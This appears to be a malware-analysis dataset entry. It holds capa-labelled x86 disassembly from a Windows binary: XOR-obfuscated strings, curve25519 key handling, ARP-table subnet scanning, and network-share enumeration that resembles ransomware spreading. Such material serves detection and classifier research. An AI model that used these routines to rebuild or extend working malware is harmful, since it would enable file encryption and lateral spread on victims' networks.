joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404f71
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, edx
mov dword [ebp + 0xc], 0xa
mov edi, ecx
neg ebx
sub edi, esi
mov eax, dword [edi + esi]
mov ecx, dword [esi]
xor ecx, eax
and ecx, ebx
xor eax, ecx
cdq
mov dword [edi + esi], eax
mov dword [edi + esi + 4], edx
mov eax, dword [esi]
xor eax, ecx
sub dword [ebp + 0xc], 1
cdq
mov dword [esi], eax
lea esi, [esi + 8]
mov dword [esi - 4], edx
jne 0x404f89
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40555a
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
push ebx
push esi
push edi
mov ebx, ecx
lea edi, [ebp - 0x24]
push 8
mov esi, edx
mov edx, dword [ebp + 8]
pop ecx
rep movsd dword es:[edi], dword [esi]
mov al, byte [ebp - 5]
lea ecx, [ebp - 0xcc]
and byte [ebp - 0x24], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.00404777
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x16c]
call fcn.00404fb4
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x11c]
call fcn.0040520c
lea eax, [ebp - 0x11c]
push eax
lea edx, [ebp - 0x16c]
lea ecx, [ebp - 0x7c]
call fcn.0040438c
add esp, 0xc
lea edx, [ebp - 0x7c]
mov ecx, ebx
call fcn.00404a9d
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x4055de
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
mov edi, edx
or esi, 0xffffffff
mov eax, edi
mov ebx, ecx
cdq
and edx, 3
add edx, eax
sar edx, 2
test edx, edx
jle 0x40564a
movzx eax, byte [ebx]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x401218]
movzx eax, byte [ebx + 1]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x401218]
movzx eax, byte [ebx + 2]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x401218]
movzx eax, byte [ebx + 3]
add ebx, 4
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x401218]
sub edx, 1
jne 0x4055f7
and edi, reloc.WS2_32.dll_closesocket
jns 0x405657
dec edi
or edi, 0xfffffffc
inc edi
xor ecx, ecx
test edi, edi
jle 0x405675
movzx eax, byte [ecx + ebx]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x401218]
inc ecx
cmp ecx, edi
jl 0x40565d
not esi
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x406c55
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 7
jb 0x406c57
mov byte [ecx + 7], 0
mov eax, ecx
ret

Function at 0x406c68
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xb
jb 0x406c6a
mov byte [ecx + 0xb], 0
mov eax, ecx
ret

Function at 0x406c7b
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xf
jb 0x406c7d
mov byte [ecx + 0xf], 0
mov eax, ecx
ret

Function at 0x406d43
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x406dac
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 0x14], 0x25a207b9
push eax
push 4
push 0x4132d4
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0x4660ddf3
push eax
push 0xc8000006
push esi
mov dword [ebp - 0xc], 0xe576e98e
mov dword [ebp - 8], 0x3e06748c
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x406dac
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jne 0x406dac
inc eax
jmp 0x406dae
xor eax, eax
pop esi
leave
ret
Function at 0x406db1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetIpNetTable]
lea eax, [ebp - 8]
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ecx
push ebx
push eax
push ebx
mov dword [ebp - 8], ebx
call esi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x406f61
call fcn.00406c8e
mov edi, eax
test edi, edi
je 0x406f61
push ebx
lea eax, [ebp - 8]
push eax
push edi
call esi
test eax, eax
jne 0x406f56
mov dword [ebp - 0x14], ebx
cmp dword [edi], ebx
jbe 0x406f53
lea eax, [edi + 0x14]
mov dword [ebp - 0x18], eax
mov edx, dword [eax]
lea eax, [ebp - 0x6c]
push 0x2c
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
pop ecx
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x406e19
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x31], 0x7b676264
mov ecx, ebx
mov byte [ebp - 0x2d], bl
xor byte [ebp + ecx - 0x31], 0x55
inc ecx
cmp ecx, 4
jb 0x406e3c
lea eax, [ebp - 0x31]
mov byte [ebp - 0x2d], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x1c], eax
mov eax, ebx
mov dword [ebp - 0x3f], 0x7b676c64
mov dword [ebp - 0x3b], 0x7b6d6364
mov byte [ebp - 0x37], bl
xor byte [ebp + eax - 0x3f], 0x55
inc eax
cmp eax, 8
jb 0x406e6b
lea eax, [ebp - 0x3f]
mov byte [ebp - 0x37], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x20], eax
mov ecx, ebx
mov dword [ebp - 4], 0x7b6564
xor byte [ebp + ecx - 4], 0x55
inc ecx
cmp ecx, 3
jb 0x406e90
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x24], eax
mov ecx, ebx
mov dword [ebp - 0x36], 0x7b6c6364
mov byte [ebp - 0x32], bl
xor byte [ebp + ecx - 0x36], 0x55
inc ecx
cmp ecx, 4
jb 0x406eb8
lea eax, [ebp - 0x36]
mov byte [ebp - 0x32], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
cmp dword [ebp - 0x1c], esi
je 0x406ee4
cmp dword [ebp - 0x20], esi
je 0x406ee4
cmp dword [ebp - 0x24], esi
je 0x406ee4
cmp eax, esi
jne 0x406f3b
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
jmp 0x406f02
movzx eax, word [ecx]
lea edx, [ebp - 0x28]
cmp ax, word [edx]
jne 0x406eff
movzx eax, byte [ecx + 2]
cmp al, byte [edx + 2]
je 0x406f3b
mov ecx, dword [ecx + 4]
test ecx, ecx
jne 0x406eeb
mov eax, dword [ebp - 0x2c]
push 0xc
mov dword [ebp - 0x10], eax
pop ecx
mov byte [ebp - 0xd], bl
call fcn.00406c8e
mov esi, eax
test esi, esi
je 0x406f53
mov eax, dword [ebp - 0xc]
lea edx, [esi + 4]
mov ecx, dword [ebp - 0x10]
mov dword [esi], ecx
mov dword [edx], ebx
mov ecx, dword [eax + 4]
mov dword [esi + 8], ecx
mov eax, dword [eax + 4]
mov dword [eax], esi
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
inc edx
add eax, 0x18
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], eax
cmp edx, dword [edi]
jb 0x406e0b
xor ebx, ebx
inc ebx
mov ecx, edi
call fcn.00406d33
mov eax, ebx
jmp 0x406f63
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406f68
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x24], 2
xorps xmm0, xmm0
mov dword [ebp - 0x20], 1
xor esi, esi
movlpd qword [ebp - 0x18], xmm0
and dword [ebp - 4], esi
and dword [ebp - 0x28], esi
push ebx
movlpd qword [ebp - 0x10], xmm0
mov dword [ebp - 0x1c], 6
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov ecx, eax
mov dword [ebp - 8], eax
call fcn.00406c8e
mov edi, eax
test edi, edi
je 0x407017
push esi
push esi
push dword [ebp - 8]
push edi
push 0xffffffffffffffff
push ebx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x407017
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x407017
push 0x2e
pop ecx
mov dword [ebp - 8], 0x17
call fcn.00406c8e
mov esi, eax
test esi, esi
je 0x407017
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push esi
push ebx
push dword [ecx + 0x10]
push dword [ecx + 0x18]
call dword [sym.imp.WS2_32.dll_WSAAddressToStringW]
test eax, eax
je 0x407017
mov ecx, esi
call fcn.00406d33
mov esi, ebx
cmp dword [ebp - 4], 0
je 0x407026
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test edi, edi
je 0x407031
mov ecx, edi
call fcn.00406d33
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x407159
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [0x4132dc]
test edi, edi
jne 0x407171
xor eax, eax
jmp 0x407263
mov eax, dword [edi]
push ebx
push esi
mov dword [ebp - 4], eax
xor bl, bl
push 0x28
push 0x40
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x40723b
mov eax, dword [ebp - 4]
push 2
mov dword [esi + 0x18], eax
pop eax
push 1
push 0
push 0
push 6
push 1
push eax
mov byte [esi + 0x1c], al
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x4071bf
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x407230
push 0x10
pop ecx
lea eax, [ebp - 0x14]
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x4071c5
push 2
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
and dword [ebp - 0x10], eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x4071fc
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x4071b6
push 0
push 2
pop eax
push eax
push dword [0x4132d8]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x4071f1
lea ecx, [esi + 0x20]
and dword [ecx], 0
mov eax, dword [0x41329c]
mov dword [esi + 0x24], eax
mov eax, dword [0x41329c]
mov dword [eax], esi
mov dword [0x41329c], ecx
inc bl
cmp bl, 0xff
jb 0x40717a
mov ecx, dword [edi + 4]
mov eax, dword [edi + 8]
test ecx, ecx
je 0x40724a
mov dword [ecx + 8], eax
jmp 0x40724f
mov dword [0x4132e0], eax
mov esi, dword [edi + 8]
mov ecx, edi
mov edx, dword [edi + 4]
mov dword [esi], edx
call fcn.00406d33
xor eax, eax
pop esi
inc eax
pop ebx
pop edi
leave
ret
Function at 0x40755a
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x41350c], 0
push ebx
push esi
push edi
jne 0x407693
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 8], 0x4000
push 0x13
push ebx
push 2
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x407693
mov ecx, dword [ebp - 8]
call fcn.00406c8e
mov edi, eax
test edi, edi
je 0x40768a
jmp 0x407669
cmp dword [ebp - 4], 0
mov dword [ebp - 0x10], ebx
jbe 0x407669
lea esi, [edi + 0x14]
test byte [esi - 8], 2
je 0x40761c
push 0x4132f8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x4075e8
mov eax, dword [esi]
push 0x4132f8
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x407656
mov ecx, dword [esi]
add ecx, 4
call fcn.00406f68
mov ebx, eax
test ebx, ebx
je 0x407608
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, ebx
call fcn.00406d33
mov ecx, dword [esi]
call fcn.0040777a
lea eax, [esi - 0x14]
push eax
call fcn.0040755a
xor ebx, ebx
jmp 0x407656
mov edx, dword [esi]
mov ecx, dword [0x413514]
push 1
push ebx
push 4
call fcn.00407f50
add esp, 0xc
test eax, eax
je 0x407656
mov dword [ebp + 8], 0x555565
mov eax, ebx
xor byte [ebp + eax + 8], 0x55
inc eax
cmp eax, 3
jb 0x40763e
mov edx, dword [esi]
lea ecx, [ebp + 8]
mov byte [ebp + 0xb], bl
call fcn.0040d84e
mov eax, dword [ebp - 0x10]
add esi, 0x20
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 4]
jb 0x4075be
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x4075ae
mov ecx, edi
call fcn.00406d33
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40777a
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
xor eax, eax
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x14], ebx
mov edi, 0x4132bc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x4077d7
cmp esi, 0xea
je 0x40779b
jmp 0x407949
mov esi, dword [ebp - 0x10]
xor ebx, ebx
inc ebx
cmp dword [ebp - 0xc], ebx
jb 0x407942
mov eax, dword [esi + 4]
test eax, eax
je 0x4077ff
cmp eax, 0x80000000
je 0x4077ff
cmp eax, 0x40000000
jne 0x407932
mov dword [ebp - 0x36], 0x55115514
xor eax, eax
mov dword [ebp - 0x32], 0x551c5518
mov dword [ebp - 0x2e], 0x5571551b
mov word [ebp - 0x2a], 0x55
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0xd
jb 0x40781c
lea eax, [ebp - 0x36]
mov byte [ebp - 0x29], 0
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x407932
mov ecx, 0x10000
call fcn.00406c8e
mov edi, eax
test edi, edi
je 0x407932
push 0x4018e0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x22], 0x55095509
xor eax, eax
mov word [ebp - 0x1e], 0x55
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 5
jb 0x40786e
push 2
lea eax, [ebp - 0x22]
mov byte [ebp - 0x1d], 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
je 0x4078b9
mov dword [ebp - 0x28], 0x55095509
xor eax, eax
mov word [ebp - 0x24], 0x55
xor byte [ebp + eax - 0x28], 0x55
inc eax
cmp eax, 5
jb 0x40789f
lea eax, [ebp - 0x28]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 4], 0x555509
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x4078cc
lea eax, [ebp - 4]
mov byte [ebp - 1], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [0x413514]
mov edx, edi
push 1
push 0
push 4
call fcn.00407f50
add esp, 0xc
test eax, eax
je 0x40792b
mov dword [ebp - 8], 0x555565
xor eax, eax
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 3
jb 0x407912
mov edx, edi
mov byte [ebp - 5], 0
lea ecx, [ebp - 8]
call fcn.0040d84e
mov ecx, edi
call fcn.00406d33
add esi, 0xc
inc ebx
cmp ebx, dword [ebp - 0xc]
jbe 0x4077e6
mov esi, dword [ebp - 0x10]
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407960
Capabilities:
Create thread

Disassembly:
cmp dword [0x4132f4], 0
jne 0x40798f
xor ecx, ecx
xor edx, edx
inc ecx
call fcn.0040d786
xor eax, eax
push eax
push eax
push eax
push fcn.0040755a
push eax
push eax
mov dword [0x41350c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4132f4], eax
ret
Function at 0x407990
Capabilities:
Create thread

Disassembly:
cmp dword [0x4132f0], 0
jne 0x4079b7
test ecx, ecx
je 0x4079b0
xor eax, eax
push eax
push eax
push eax
push fcn.0040769c
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
push 0
call fcn.0040769c
ret

Function at 0x4079b8
Capabilities:
Create thread
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
cmp dword [0x413510], 0
jne 0x407b22
cmp dword [0x4132a0], 0
jne 0x407b22
cmp dword [0x4132d8], 0
jne 0x407b22
push ebx
xor ebx, ebx
push esi
mov dword [0x413508], ebx
call fcn.00406d43
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x407adb
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x407a2e
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [0x4132ec], eax
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x4132d8], eax
test eax, eax
je 0x407af6
push 0x4132a4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, 0x4132dc
mov dword [0x4132dc], ebx
mov dword [0x4132e0], ecx
mov dword [0x4132e4], ebx
mov dword [0x4132e8], 0x4132e4
mov dword [0x413298], ebx
mov dword [0x41329c], 0x413298
call fcn.00406db1
test eax, eax
je 0x407adb
push ebx
push ebx
push ebx
push 0x407038
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4132a0], eax
cmp eax, 0xffffffff
je 0x407adb
push ebx
push ebx
push ebx
push 0x407302
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x413510], eax
cmp eax, 0xffffffff
je 0x407adb
push ebx
push 1
push ebx
push dword [0x4132d8]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 2
xor edx, edx
pop ecx
call fcn.0040d786
jmp 0x407b20
cmp dword [0x4132d8], ebx
je 0x407af6
push 0x4132a4
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push dword [0x4132d8]
call esi
mov eax, dword [0x4132a0]
test eax, eax
je 0x407b02
push eax
call esi
mov eax, dword [0x413510]
test eax, eax
je 0x407b0e
push eax
call esi
mov dword [0x413510], ebx
mov dword [0x4132a0], ebx
mov dword [0x4132d8], ebx
pop esi
pop ebx
leave
ret

Function at 0x407b4c
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x4132d8]
test eax, eax
je 0x407b62
push 0
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor ecx, ecx
jmp fcn.00407b24

Function at 0x407b75
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xd
jb 0x407b77
mov byte [ecx + 0xd], 0
mov eax, ecx
ret
Function at 0x407bfc
Capabilities:
Encode data using xor
Get hostname
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa64
movaps xmm0, xmmword [0x401bb0]
movups xmmword [ebp - 0x46], xmm0
push ebx
movaps xmm0, xmmword [0x401a80]
xor ebx, ebx
movups xmmword [ebp - 0x36], xmm0
mov eax, ebx
mov word [ebp - 0x16], 0x55
movaps xmm0, xmmword [0x401d40]
push esi
push edi
movups xmmword [ebp - 0x26], xmm0
xor byte [ebp + eax - 0x46], 0x55
inc eax
cmp eax, 0x31
jb 0x407c33
xor esi, esi
mov byte [ebp - 0x15], bl
inc esi
lea ecx, [ebp - 0x46]
mov edx, esi
call fcn.00407b88
test eax, eax
je 0x407db1
lea eax, [ebp - 8]
mov edi, 0x100
push eax
lea eax, [ebp - 0x860]
mov dword [ebp - 8], edi
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x407db1
mov dword [ebp - 4], 0x555509
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x407c80
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [ebp - 0x860]
lea eax, [ecx + eax*2]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x407db1
mov ecx, edi
call fcn.00406c8e
mov dword [0x413530], eax
test eax, eax
je 0x407db1
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], edi
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push ecx
lea ecx, [ebp - 0xa60]
push ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
lea eax, [ebp - 0x860]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x407d9c
push esi
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x407d9c
push ebx
push ebx
push esi
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x407d9c
push ebx
push dword [0x413530]
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
test eax, eax
je 0x407d9c
push 0x20
pop ecx
mov eax, 0x413534
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x407d4c
push dword [0x413530]
push 0x413540
call dword [sym.imp.ADVAPI32.dll_BuildTrusteeWithSidW]
push 0x413518
mov dword [0x413534], 0x10000000
mov dword [0x413538], 2
mov dword [0x41353c], 3
mov dword [0x413548], ebx
mov dword [0x41354c], esi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x407db1
mov ecx, dword [0x413530]
test ecx, ecx
je 0x407db1
call fcn.00406d33
mov dword [0x413530], ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407db6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
movaps xmm0, xmmword [0x401bb0]
xor eax, eax
movups xmmword [ebp - 0x32], xmm0
mov word [ebp - 2], 0x55
movaps xmm0, xmmword [0x401a80]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401d40]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x31
jb 0x407de5
xor edx, edx
mov byte [ebp - 1], 0
lea ecx, [ebp - 0x32]
call fcn.00407b88
mov ecx, dword [0x413530]
test ecx, ecx
je 0x407e1f
call fcn.00406d33
and dword [0x413530], 0
push 0x413518
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
leave
ret

Function at 0x408044
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [0x413778]
push esi
push edi
push ebx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebx + 0x18]
xor edi, edi
mov dword [ebp - 4], edi
test esi, esi
je 0x40817d
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0xc], 0x556b5578
xor eax, eax
mov word [ebp - 8], 0x55
xor byte [ebp + eax - 0xc], 0x55
inc eax
cmp eax, 5
jb 0x408082
lea eax, [ebp - 0xc]
mov byte [ebp - 7], 0
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x4080ac
xor edi, edi
inc edi
mov dword [ebp - 4], edi
jmp 0x40816f
cmp dword [esi + 8], 0
jne 0x40816c
mov eax, dword [ebp + 8]
test dword [esi + 4], eax
je 0x40816c
push 0x20
pop ecx
call fcn.00406c8e
mov edi, eax
test edi, edi
je 0x40816c
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 0xa]
call fcn.00406c8e
mov ecx, eax
mov dword [edi], ecx
test ecx, ecx
je 0x408165
mov eax, dword [esi]
cmp word [eax + 2], 0x3a
jne 0x408123
mov dword [ebp - 0x1a], 0x55095509
xor eax, eax
mov dword [ebp - 0x16], 0x5509556a
mov word [ebp - 0x12], 0x55
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 9
jb 0x40810f
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1a]
jmp 0x408128
mov eax, 0x4018e0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [esi]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [edi + 0x18]
and dword [ecx], 0
mov eax, dword [ebx + 0x1c]
mov dword [edi + 0x1c], eax
mov eax, dword [ebx + 0x1c]
push ebx
mov dword [eax], edi
mov dword [ebx + 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [esi + 8], 1
jmp 0x40816c
mov ecx, edi
call fcn.00406d33
mov edi, dword [ebp - 4]
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x408073
mov ebx, dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret